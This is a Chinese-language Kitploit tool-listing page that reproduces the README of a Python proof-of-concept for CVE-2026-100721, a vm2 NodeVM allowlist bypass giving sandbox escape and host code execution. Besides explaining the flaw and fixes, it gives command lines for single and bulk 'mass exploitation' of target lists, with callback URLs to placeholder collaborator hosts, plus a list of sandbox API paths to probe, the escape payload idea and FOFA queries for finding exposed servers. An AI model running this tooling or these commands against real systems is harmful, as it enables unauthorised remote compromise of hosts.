Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-100721 — Python PoC for CVE-2026-100721:检测并利用 vm2 <3.12.2 NodeVM 外部允许列表绕过漏洞,通过本地实验环境或批量 HTTP 目标实现沙箱逃逸与宿主机 RCE。 | Kitploit
工具/GitHubGitHub/murrez/cve-2026-100721
侦察漏洞扫描器漏洞分析漏洞利用脚本与自动化Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubmurrez/cve-2026-100721

CVE-2026-100721

Python PoC for CVE-2026-100721:检测并利用 vm2 <3.12.2 NodeVM 外部允许列表绕过漏洞,通过本地实验环境或批量 HTTP 目标实现沙箱逃逸与宿主机 RCE。

5天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-100721 — vm2 NodeVM 外部允许列表绕过

针对 CVE-2026-100721 的 Python 3 PoC —— vm2(npm)3.12.2 之前版本在 NodeVM 外部模块解析器中存在授权不当问题,当不受信任的 JavaScript 在配置不当的嵌入器中运行时,会导致沙箱逃逸和宿主机端代码执行。

PoC 页面: https://pocbit.org/pocs/cve-2026-100721


什么是 vm2?

vm2 是一个广泛使用的 Node.js 库,用于在同一 Node 进程内的沙箱中运行不受信任的 JavaScript。应用程序使用 NodeVM 并施加如下限制:

  • require.builtin —— 客户代码可以加载哪些核心模块(fs、child_process 等)
  • require.external —— npm 包名的允许列表(例如仅允许 left-pad、lodash)
  • require.resolve —— 指向宿主机控制的插件或依赖目录的自定义解析器
  • context: 'host' —— 通过真实的宿主机 require() 加载外部包(出于性能考虑很常见)

典型的嵌入器包括:用户脚本平台、低代码运行器、插件市场、在线 IDE、自动化沙箱以及内部的“安全 eval”微服务。


通俗解释漏洞

CVE-2026-100721 是 vm2 在判断客户 require("package-name") 是否被允许时存在的授权不当问题(CWE-863)。

在多个 vm2 版本中修复了两个相关缺陷(同一类 bug —— 名称/路径边界混淆):

1. 包名子串匹配(GHSA-c48m-32m9-vx93)

允许列表预检查会从 left-pad 之类的条目构建模式,但没有强制完整的包名边界。客户代码可以请求 evil-left-pad,因为该字符串包含 left-pad。如果该冲突包存在于自定义解析器可到达的路径上,vm2 会在宿主机上下文中加载它。顶层模块代码在沙箱包装之前运行 → child_process、文件读取、机密信息等。

2. 解析路径前缀匹配(lib/resolver-compat.js,在 3.12.2 中修复)

当自定义解析器与 context: 'host' 一起使用时,vm2 使用前缀正则表达式记录允许的目录,而没有严格的路径分隔符/结束边界。客户之后可以 require() 一个绝对路径指向未列入允许列表的兄弟目录(例如当仅允许 foo 时,加载 .../node_modules/foo2/index.js)。该兄弟目录通过了 isPathAllowedForModule 检查并在宿主机进程中执行。

受影响: vm2 < 3.12.2(CVE-2026-100721)。相关的名称冲突修复也在 3.11.7 中落地。
已修复: 升级到 vm2 ≥ 3.12.2(并保持最新)。

指标值
CVSS 3.19.0 严重 —— AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 4.09.5 严重(Rapid7 / VulnCheck)
认证利用链通常始于沙箱内的低权限代码执行(公告中为 PR:L)
致谢腾讯玄武实验室 XlabAI、Atuin 引擎、Guannan Wang 等

攻击前提(真实部署环境)

远程“单个 HTTP 请求即可 RCE”并非普遍适用。实际利用链需要:

  1. 应用程序在 vm2 NodeVM 中执行攻击者控制的 JS。
  2. require.external 允许列表 + 通常还有自定义 require.resolve。
  3. 外部模块使用 context: 'host'(或等效的宿主机加载方式)。
  4. 磁盘上已存在冲突包,或攻击者可以放置一个(插件上传目录、同步的私有仓库文件夹、租户依赖路径)。

当这些条件同时满足时,影响是宿主机 Node 完全沦陷 —— 而不仅仅是客户沙箱被滥用。


本 PoC 的功能

模式行为
--lab权威本地利用:lab/ 安装 vm2 3.11.5,构建 evil-left-pad,演示 POCBIT-100721-HOST_EXEC(与厂商公告一致)
check远程 vm2 指纹识别(package.json、lockfile、JS 打包文件),版本 < 3.12.2,可选的 --probe-exec 针对常见沙箱 API 路径
exploit可大规模执行的 POST,发送允许列表绕过探测 JS(evil-left-pad、冲突名称)到可配置的 --exec-paths;在响应中出现标记或沙箱 API 表面 + --callback-url 时标记为 exploited
批量执行--list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt

PoCbit JSONL 字段: 每行包含 pocbit、pocbit_catalog、pocbit_page。
CLI: 绿色/品红色 PoCbit 横幅,[EXPLOIT] / [SENT] / [FAIL] / [HIT] 着色(使用 --no-color 禁用)。

重要: 远程利用模式针对的是你配置的 HTTP 沙箱运行器。若要进行纯库验证,请使用 python poc.py --lab(需要 Node.js + npm)。


环境要求

pip install -r requirements.txt
组件用途
Python 3.9+扫描器 / 批量驱动
Node.js + npm仅用于 --lab(推荐用于理解该 CVE)

使用方法

本地实验环境(完整的沙箱逃逸证明)

cd CVE-2026-100721
python poc.py --lab

在存在漏洞的 vm2 上的预期输出:

[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE

远程检测

python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec

利用(单一目标)

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --exec-paths /api/run,/api/eval --code-field code

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --callback-url http://your-collaborator.example/cve-100721

批量大规模利用

python poc.py --list targets.txt --mode exploit \
  --exec-paths /api/run,/api/sandbox/run \
  --callback-url http://oast.example.com/hit -j 15

自定义客户脚本:

python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js

输出:

  • cve_2026_100721_exploit.jsonl —— 每个目标的 JSON
  • exploited.txt —— 出现逃逸标记、回调表面或沙箱 API 命中的目标

默认沙箱 API 路径(可调整)

驱动程序会探测常见模式(使用 --exec-paths 覆盖):

/api/run、/api/eval、/api/execute、/api/sandbox/run、/api/vm/run、/api/code/run、/run、/execute、/eval、/api/v1/run、/api/playground/run 等。

尝试的 JSON body 字段:code、script、source、javascript、js、payload 等(使用 --code-field 覆盖)。


客户载荷(概念)

内置的利用 JS 会循环尝试冲突包名,例如 evil-left-pad(允许列表绕过 PoC)。在已托管该冲突包的存在漏洞的嵌入器上:

require("evil-left-pad");  // 宿主机顶层代码运行 → 沙箱逃逸

本地 lab/poc.js 使用 external: ['left-pad']、builtin: [] 和自定义 resolve 实现了完整的可信公告场景。


修复建议

  1. 在所有嵌入 vm2 的服务中升级 vm2 至 ≥ 3.12.2(检查 lockfile 和 Docker 层)。
  2. 不要在宿主机上下文中加载外部模块,除非绝对必要;优先使用沙箱上下文并配合加固的解析器。
  3. 将插件/用户依赖目录视为不受信任 —— 绝不要将攻击者选择的包名解析到宿主机 require。
  4. 禁用或限制公开的“运行用户代码”API,置于强认证和静态分析之后。
  5. 清点资产:npm ls vm2、SBOM、容器扫描、Shodan/FOFA 搜索“playground” + Node 技术栈。

FOFA / 资产测绘(示例)

body="vm2"
header="Express"
title="playground"
body="/api/eval"
body="NodeVM"

结合暴露的 /package-lock.json 或 /node_modules/vm2/package.json(配置错误)来确认版本。


参考资料

  • GitHub 公告 GHSA-c48m-32m9-vx93
  • Rapid7 CVE-2026-100721
  • Snyk SNYK-JS-VM2-20158386
  • PoCbit 目录:https://pocbit.org/pocs/

法律声明

仅在你获得授权测试的系统和 npm 项目上使用。沙箱逃逸等同于宿主机沦陷。

下载工具